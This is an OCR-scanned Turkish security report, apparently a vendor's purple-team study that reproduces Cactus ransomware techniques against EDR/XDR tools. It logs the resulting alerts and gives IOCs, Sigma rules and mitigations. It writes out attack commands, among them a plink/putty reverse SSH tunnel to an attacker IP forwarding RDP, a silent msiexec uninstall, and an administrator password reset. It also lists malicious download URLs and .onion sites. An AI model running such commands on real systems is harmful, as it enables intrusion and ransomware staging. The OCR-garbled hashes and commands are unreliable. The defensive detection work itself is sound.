CAUsers\hayalet\AppData'\ Local\Tempqle. ttf CAWindowsh System3d2\quser.exe

Resim 8.8

Alarmin Quser.exe processi icin High Severity ve Detected olarak tetiklendigini
goruyoruz.

Komut 4:
powershell Get-WmiObject -Class Win32_Product >
C:\Users\hayalet\AppData\Local\Temp\gle.ttf

-Class

MName

rshell Get-WmiObject Win32_Product > C:\Users\hayalet\AppData\local\Temp\qle.ttf

Date medified

s Quick access
| gletxt 47472024 10:46 PM Text Document

i

i qgle.txt - Motepad
IdentifyingNumber : {51A41F18-B&4A-8F09-639@

Mame : M5I Development Tools
Vendor : Microsoft Corporation
Version ;19

Caption : M5I Development Tools

Resim 8.9
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SEVERITY T T ACTION T TARGET PROCESS NAME Y TARGET PROCESS CMD
® Detected powershell.exe powershell Get-WmiObject -Class Win32_Product

Powershell komutunun Medium - Detected olarak tetiklendigini goriiyoruz.

FILE_PATH T SRC_CMD

C:\Users\hayalet\AppData' Local\Temphgle.ttf powershell Get-WmiObject -Class Win32_Product

Resim 9.1

Calistirilan komut icin belirtilen File_Path dederini de hayalet kullanicisi icin %temp%
dizini altinda gle.ttf dosyasi olarak gorintileyebiliriz.

Asama 3:

Komut 1:

GUID degerini bildigimiz (putty.exe) Gizerinden ilerleyelim. /X ve /gn parametreleri ile
birlikte msiexec.exe processini calistiralim.

INITIATOR PATH E INITIATOR €MD
C:hWindows\System32\msiexec.exe msiexec.exe [X[DDC5F26-92B1-4546-9678-5DC6BDF76BAO] fan
Resim 9.2

[H ~

¥ & | 'Cactus Ransomware Uninstall Software'lgenerated by XDR BIOC detected

Overview & Key Assets & Artifacts Alerts & Insights Timeline
cmd.exe (265b...7e593 )  Microsoft Corperation
WF Benign [# VT Unknown @ 1
msiexec.exe (8cad...b358[j) « Microsoft Corporation
WF Benign (#* VT Unknown & 1
Resim 9.3
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XDR Tespit Senaryosu

Yukaridaki resimlerde msiexec.exe (cmd (izerinden) process'i ile ilgili alarmlar
gorintiliyoruz. INITATOR CMD lzerinde ise komut satirinda calistirilan komutu
tamamiyla géormekteyiz. Tetiklenen alarm “High Severity” dederine sahip ve “Cactus
Ransomware Uninstall Software” adinda.

Komut 2:
net user administrator noadminpass123**policy >
C \Users\hayalet\AppData\Local\Temp\qle ttf

\system32>net user administrator noadminpass123**poli > C:\Users\hayalet\appData‘ZLocal\Temphgle.ttf

# CQuick access

Il Desktop o+ BT
gletet - Motepad

File Edit Format Wiew Help
The command completed successfully.

Resim 9.4

SEVERITY r ACTION r TARGET PROCESS NAME TARGET PROCESS CMD

“ (® Detected net.exe net user administrator noadminpass123**pelicy
Resim 9.5

Calistirilan komutla ilgili alarm High-Detected olarak tetiklenmistir.

Komut 3:
echoy "*"| c:\windows\temp\putty.exe -ssh -P 443 -l admin -pw -R
45.61.147.176:50400:127.0.0.1:3389 45.61.147.176

plink.exe -l purplepentester -pw penetration purple 10.10.122.117 -R
10.10.122.117:50339:10.10.122.117:22

< ]8; purplﬂpﬂn_h;hhrmnupﬂn

|8, purplepentester@gnopentest: ~

Resim 9.6
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XDR Tespit Senaryosu

@) Detected Uncommon S5H session was established to an internal IP
Resim 9.7

plink.exe -l purplepentester -pw penetrationpurple 10.10.122.117 -R 10.10.122.117:50339:10.10.122.117:22
Resim 9.8

Resim 9.7 de Detected edilmis, Severity derecesi Informational (XDR Insights) ve
Internal IP (iceri taraftaki bir IP adresi kullanildi) adresine yaygin olmayan bir SSH
oturumu kuruldugunu belirtmis.

Resim 9.8 de ise alarmin komut satiri ¢ciktisini gériyoruz.
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MD5

eba1596272ff695a1219b1380468293a
e28db6a65da2ebcf304873c9a5ed086d
de6ced47e28337d28b6d29ff61980b2e9
949d9523269604db26065f002feef9ae
5737cb3a9a6d22e957cf747986eeb1b3
2611833c12aa97d3b14d2ed541df06b2
1add9766eb649496bc2fa516902a5965
d9f15227fefb98ba69d98542fbe7e568
d5e5980feb1906d85fbd2a5Ff2165baf7
be7b13aee7b510b052d023dd936dc32f
78aea93137be5f10e9281dd578a3ba73
3adc612b769a2b1d08b50b1fb5783bcf
26f3362d205004fbc9c76330c1c71536
02e4da16377fc85e71a8c8378b2a8a9%6
08d2c800c93015092e14738c941ac492
Oedee38fe320cfb573a30820198FF442
39fe99d2250954a0d5ed0e9ff9c41d81
55e42014424c0d120ff17F11e207e4f0
5f7c3cda7759ef6e577552ad322c1f64
8af259ad55¢c3746926€992c82bc7e850
8b37dfF9d295bbc2906961f72b7cdc5fb
8d2e4bef47e3f2ee0195926bbf4a25d5
be139fc480984eb31de025f25a191035
f7a6d1e6e5436bd3c10f3a26F3e9b9b9
fb467a07f44e8d58e93e3567fd7ff016

SHA1

6715b888a280d54de9%9a8482e40444087fd4d5Fe8
248795453ceb95e39db633285651f7204813ea3a
cb570234349507a204c558fFc8c4ecf713e2c0ac3
173F9b0db97097676a028b4b877630adc7281d2f
6169937499e1f7ec9f5497dcf2aef7b7f4b51634
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SHA256

016fc8bd291b5358d4381bbab7ff890d2e9dc84f79b8e360ddf0d12af765c394
1a6afbd4ee961ffe73e2a6784aa8071208964b0093701a6bb2123124a6eb7da6
1b70€9e30c¢700d52138e9def035b384df18b6cb0c4adbb1ee02ddf08a1f2b44d
3ab01743184f1d8e3745758091a7f952da5935d82f98aebd2e86875455a140c5
4152e7e0fa21a635e0900c8cb24586df4a2b5ace96a48de94cc219acc05e0694
4e8ffac9ac2e4ff2455b3305d6b57715F9279bcf6a0af56ce2ec0063860182cd
58768ee0a749372f6601143bb9a5d021345959d5dc0954d15¢c75c0dd87d049fb
5d36437bf80c4815a6dbb0efb6db088d7b97bd17e7924dc2b62b23d3d02d4fed
651F76e2ac1b2cdc39789ddf18e21d45991¢ca68d1c7f65d5866dfa978a0986F4
6858d654aa2cd1cfbed62a7fa30093327c16c332ba9e2d21477a92f64fdba37c
98e8a76984¢c6c29a973140c819908835d98ed21a26fecf5d7098425e2c37c80c¢
9e275da7f966eeae517b37bdfccd7df2f11fadb61cb6c2d4ac8a68a05be1084d
bb35a64b277e306ae6abcf867688b4a96ffbeb25830d8e83f95eb30fd4a87e10
bb6b0271ddbe66003ee1dfe552f4a5bd655b1cba5809feb0df8c3742515eddcd
c075abc2b04ef9796200412ceed4badf2f96cf2cc203b2cceecO0ae623fdfF666a9
c60faf02b496a53f4d96e39de12642e01d46cb55ef7fe9e195b24a3532201d7a
cbddeca5c9ee54265d7e9b0caacd3be212b50742c98a055266123324F7de8286
d6ff71e86ad057a5dd4fce9f0F4a21ccd28ede62ac957e15e60f8ab8b559bb55
dba61ce93d66cb8168f1162b4cba1d5e58234f61d0c0ffe52989c6baaecOebbe
1cf6d946c45F4ce73a0f97cdbc136c9eef7723292bc3b6c9a%ecc8f90386F6d2
b9ef2e948a9b49a6930fc190b22cbdb3571579d37a4de56564e41a2ef736767b
5b70972c72bf8afF098350f8a53ec830ddbd5¢c2c7809¢71649¢93f32a8a3f1371
78¢16de9fc07f1d0375a093903F86583a4e32037a7da8aa2f90ecb15c4862c17
828e813a16b2851561FFF6d3127663ea2d1d68571f06cbd732fdF5672086924d
90b009b15eb1b5bc4a990ecdd86375fa25eaa67a8515ae6c6b3b58815d46fa82
3ac8308a7378dfe047eacd393c861d32df34bb47535972eb0a35631ab964d14d
6cb87cad36f56aefcefbe754605c00ac92e640857fd7ca5faab7b9542ef80¢96
c52ad663fF29e146de6b7b20d834304202de7120e93a93de1de1cb1d56190bfd
78C16DE9FCO7F1D0375A093903F86583A4E32037A7DASBAA2F90ECB15C4862C17
a9¢b8fb06970ee8652983bdad227d24f50133853b64e29b76bae98b4063409b3
d0de7f54d938e8f2f67b7ed071f8c4ad12c4634c271d5c810ebf58b1fd67f10d
69b6b447ce63c98acc9569fdcc3780ced1e22ebd50c5cad9ee1ea7add42e62cc
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10C

URL

http://sonarmsng5vzwqezlvtu2iiwwdn3dxkhotftikhowpfjuzg7p3ca5eid.onion/contact/
Cactus_Support
http://sonarmsng5vzwqezlvtu2iiwwdn3dxkhotftikhowpfjuzg7p3ca5eid.onion/contact/
http://zohoservice.net/putty.zip

http://216.107.136.46/Qliksens_update.zip
http://216.107.136.46/Qliksens_updated.zip

http://zohoservice.net/qlik-sens-Patch.zip

http://zohoservice.net/qlik-sens-nov.zip

Domain

sonarmsng5vzwqgezlvtu2iiwwdn3dxkhotftikhowpfjuzg7p3ca5eid.onion
cactusbloguuodvgjmnzlwetjlpj6aggc6iocwhuupb47laukux7ckid.onion
zohoservice.net

IP

154.18.12.125
162.33.177.56
192.227.190.11
206.188.196.20
45.61.136.127
64.52.80.252
85.206.172.127
163.123.142.213
45.61.136.79
45.61.138.99
206.188.196.2
45.61.147.176
216.107.136.46
144.172.122.30

E-Mail

cactus787835@proton.me
cactus@mexicomail.com
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Tespit Kurallar

EDR:

. Detection rule

DeviceProces

| where F

| where Proc Command ins "/X" and ProcessCommandline contains
Resim 10.0
= xdr_data
event_type = PROCESS and (actor_process_image_name="msiexec.exe")
3 and (actor_process_command_line "/ and actor_process_command_line “fan”™)

Resim 10.1

EDR (Endpoint Detection and Response) ve XDR (Extended Detection and Response)
c¢ozimleri, modern siber glivenlik stratejilerinin ayrilmaz bir parcasi haline gelmistir. Bu
teknolojiler, u¢ nokta ve ag gilvenligini artirarak, tehditlerin tespit edilmesi ve
engellenmesi icin gelismis analiz ve otomatik miidahale yetenekleri sunar. EDR/XDR
iriinleri iizerinde gergeklestirdigimiz calisma, bu ¢oziimlerin etkinligini ve sagladigi
giivenlik seviyesini degerlendirmemize yardimci olmustur.

Bu calismada, tim saldin senaryolari ve koti amacl aktiviteler mevcut kurallar
tarafindan basarili bir sekilde yakalanmistir. Bu, EDR/XDR c¢o6zimlerimizin sagladigi
glvenligin ne kadar kapsamli (mevcut kurallarla) ve etkin oldugunu géstermektedir.
Yapilan testler sirasinda, yalnizca iki yeni kural gelistirilmesine ihtiyac duyulmustur. Bu
kurallar, senaryolarin belirli noktalarini daha spesifik olarak hedef alarak, givenlik
seviyemizi arttirmamiza destek olmustur.
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Tespit Kurallar

title: Load Of RstrtMgr.DLL By An Uncommon Process
id: 3669afd2-9891-4534-a626-e5cf03810a61
related:
-id: b48492dc-c5ef-4572-8dff-32bc241¢15¢8
type: derived
status: experimental
description: |

Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process.

This library has been used during ransomware campaigns to kill processes that would prevent file encryption by
locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for
Windows.

It could also be used for anti-analysis purposes by shut downing specific processes.
references:

- https://www.crowdstrike.com/blog/windows-restart-manager-part-1/

- https://www.crowdstrike.com/blog/windows-restart-manager-part-2/

- https://www.swascan.com/cactus-ransomware-malware-analysis/

- https://taiwan.postsen.com/business/88601/Hamas-hackers-use-data-destruction-software-BiBi-which-consumes-
a-lot-of-processor-resources-to-wipe-Windows-computer-data--iThome.html
author: Luc Génaux
date: 2023/11/28
tags:

- attack.impact

- attack.defense_evasion

- attack.t1486

- attack.t1562.001
logsource:

category: image_load

product: windows
detection:

selection:

- ImageLoaded|endswith: "\RstrtMgr.dll'
- OriginalFileName: 'RstrtMgr.dll'
filter_main_generic:
Image|contains:
-"\$WINDOWS.~BT\'
- "\$WinREAgent\'
- "\Program Files (x86)\'
-"\Program Files\'
- "\ProgramData\'
- "\Windows\explorer.exe'
- "\Windows\SoftwareDistribution\'
- "\Windows\SysNative\'
- "\Windows\System32\'
- "\Windows\SyswOwe64\'
- "\Windows\WinSxS\'
- "\WUDownloadCache\'
filter_main_user_software_installations:
Image|contains]all:
- "\Users\'
- \AppData\Local\Temp\is-'
-"tmp\'
Image|endswith: ".tmp'
filter_main_admin_software_installations:
Image|contains: "\Windows\Temp\'
condition: selection and not 1 of filter_main_*
falsepositives:

- Other legitimate Windows processes not currently listed — (x.
- Processes related to software installation / t )
level: L
svenow CYBER SECURITY




Tespit Kurallar

title: Load OF RstrtMgr.DLL By A Suspicious Process
id: b48492dc-c5ef-4572-8dff-32bc241¢15¢8
related:
-id: 3669afd2-9891-4534-a626-e5cf03810a61
type: derived
status: experimental
description: |
Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process.
This library has been used during ransomware campaigns to kill processes that would prevent Ffile
encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen
used by the BiBi wiper for Windows.
It could also be used for anti-analysis purposes by shut downing specific processes.
references:
- https://www.crowdstrike.com/blog/windows-restart-manager-part-1/
- https://www.crowdstrike.com/blog/windows-restart-manager-part-2/
- https://www.swascan.com/cactus-ransomware-malware-analysis/
- https://taiwan.postsen.com/business/88601/Hamas-hackers-use-data-destruction-software-BiBi-
which-consumes-a-lot-of-processor-resources-to-wipe-Windows-computer-data--iThome.html
author: Luc Génaux
date: 2023/11/28
tags:
- attack.impact
- attack.defense_evasion
- attack.t1486
- attack.t1562.001
logsource:
category: image_load
product: windows
detection:
selection_img:
- ImageLoaded|endswith: "\RstrtMgr.dll’
- OriginalFileName: 'RstrtMgr.dll'
selection_folders_1:
Image|contains:
# Note: increase coverage by adding more suspicious paths
- "\Perflogs\'
- "\Users\Public\'
-"\Temporary Internet'
selection_folders_2:
- Image|containsjall:
- "\Users\'
- "\Favorites\'
- Image|contains|all:
- "\Users\'
- "\Favourites\'
- Image|containsjall:
- "\Users\'
- "\Contacts\'
condition: selection_img and 1 of selection_folders_*
falsepositives:

le\-/:lnz(:]ci;:]ses related to software installation /\D E 0
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MITIGATION

1) EDR/XDR Coziimlerini Kullanin: Gelismis tehdit tespiti, analiz ve otomatik miidahale
saglayan EDR ve XDR c¢oziimleri ile u¢ nokta glivenligini artirin.

2) MDR Hizmeti: Givenlik uzmanlari tarafindan EDR/XDR teknolojileri basta olmak
Uzere kurumunuzu 7/24 izleme ile destekleyen MDR hizmetini tercih edebilirsiniz.

3) Tehdit Gruplarini Takip Edin: Giincel tehdit istihbarat kaynaklarini, blog sayfalarini
kullanarak bilinen tehdit gruplarinin taktiklerini ve faaliyetlerini izleyin.

4) MDR Hizmeti Kapsaminda Kurallar Gelistirin: Kullandiginiz EDR/XDR/Splunk
drdnleri 6zelinde takip ettiginiz tehdit gruplarina karsi, Mitre Attack Framework’e gore
kurallar gelistirin, mevcut kurallarinizin giincel olmasini saglayin.

5) Saldiri Senaryolari Gelistirin/Arastirin/Kullanin: EDR/XDR cercevesinde tehdit
gruplarinin kullandigi CVE'ler, saldiri teknikleri (Mitre T), zararli dosyalari 6zelinde saldiri
senaryolari canlandirin. Acik kaynak olarak Atomic Red Team bir drnektir.

6) Kimlik Dogrulama Prosediirleri: Ayricalikli hesaplari izleyin ve kontrol edin ve en az
ayricalik ilkesini (least privilege) uygulayin. Mimkiinse, yonetici diizeyinde ve daha
ylksek dizeyde ayarlanmis hesaplar icin zamana dayali erisim uygulayin, boylece
kullanicilar gorevlerini tamamlayabilmeleriicin belirli bir stire boyunca belirtilen sisteme
erisebilir ve ardindan ihtiyac duyulmadiginda erisim iptal edilir.

7) Uzak Masaiistii Yazilimlar: Uzak masalsti yazilimlarini kullanmaktan kacginin.
Gerekirse kotiye kullanimini ve istismarini 6nlemek icin kullandiginiz EDR/XDR Urinleri
Ozelinde imza/hash/dosya adi tabanli engellemeler gerceklestirin. Tehdit aktorleri uzak
masailstd yazilimlarini sik¢a kullanmaktadir.

8) LOTL Saldirilarina Karsi Kurallar Gelistirin: Sisteme yerlesik olarak gelen (built-in)
araclarinin  kotliye kullanilmasini (Living-off-the-Land) 6nlemek icin lolbin/lolbas
tekniklerini takip edin.

9) Zafiyet Yonetimini Takip Edin: Sistemlerdeki zafiyetleri diizenli olarak tarayin,
raporlayin ve kritik zafiyetleri hizlica yamalayarak riskleri minimize edin.

10) Olay Miidahale Plani: Siber glvenlik olaylarina hizli ve etkili bir sekilde yanit
vermek icin bir olay midahale plani olusturun.

ADEC
CYBER SECURITY




REFERANSLAR

e https://arcticwolf.com/resources/blog/qlik-sense-exploited-in-cactus-ransomware-
campaign/

e https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf

e https://www.eccouncil.org/cybersecurity-exchange/ethical-hacking/diamond-
model-intrusion-analysis/

e https://warnerchad.medium.com/diamond-model-for-cti-5aba5ba5585

e https://www.socinvestigation.com/threat-intelligence-diamond-model-of-intrusion-
analysis/

e https://otx.alienvault.com/pulse/64ba02ecb2d2743614F9606a

 https://otx.alienvault.com/pulse/65200f048356b422d2120fc2

e https://github.com/SigmaHQ/sigma/blob/master/rules/windows/image_load/image
_load_dll_rstrtmgr_uncommon_load.yml

e https://learn.microsoft.com/en-us/defender-xdr/microsoft-threat-actor-naming

e https://blog.barracuda.com/2024/03/20/who-is-behind-cactus-ransomware

e https://twitter.com/MsftSecintel/status/1730383719809138782

e https://medium.com/@DefenderX/hunting-ransomware-associated-patterns-a-kql-
based-approach-87792ddeed03

o https://www.kroll.com/en/insights/publications/cyber/cactus-ransomware-prickly-
new-variant-evades-detection

e https://www.helpnetsecurity.com/2023/12/01/qlik-sense-cactus-ransomware/

e https://stonefly.com/blog/cactus-ransomware-decrypting-the-cyberthreat/

e https://www.pcrisk.com/removal-guides/27323-cactus-ransomware

o https://www.logpoint.com/wp-content/uploads/2023/12/et-cactus-4-12.pdf

e https://www.bitdefender.com/blog/businessinsights/cactus-analyzing-a-
coordinated-ransomware-attack-on-corporate-networks/

ADEC
CYBER SECURITY




1‘-“‘-‘\ ) = g . .-'a
4 . ,
e — - (
, / g |
Li
-
LN
oF \
™ o
- - f

Savunmaniza bir
muttefik ekleyin
| NN /\DEQ A TR N

I, . =~ CYBER SECURITY - |
. -



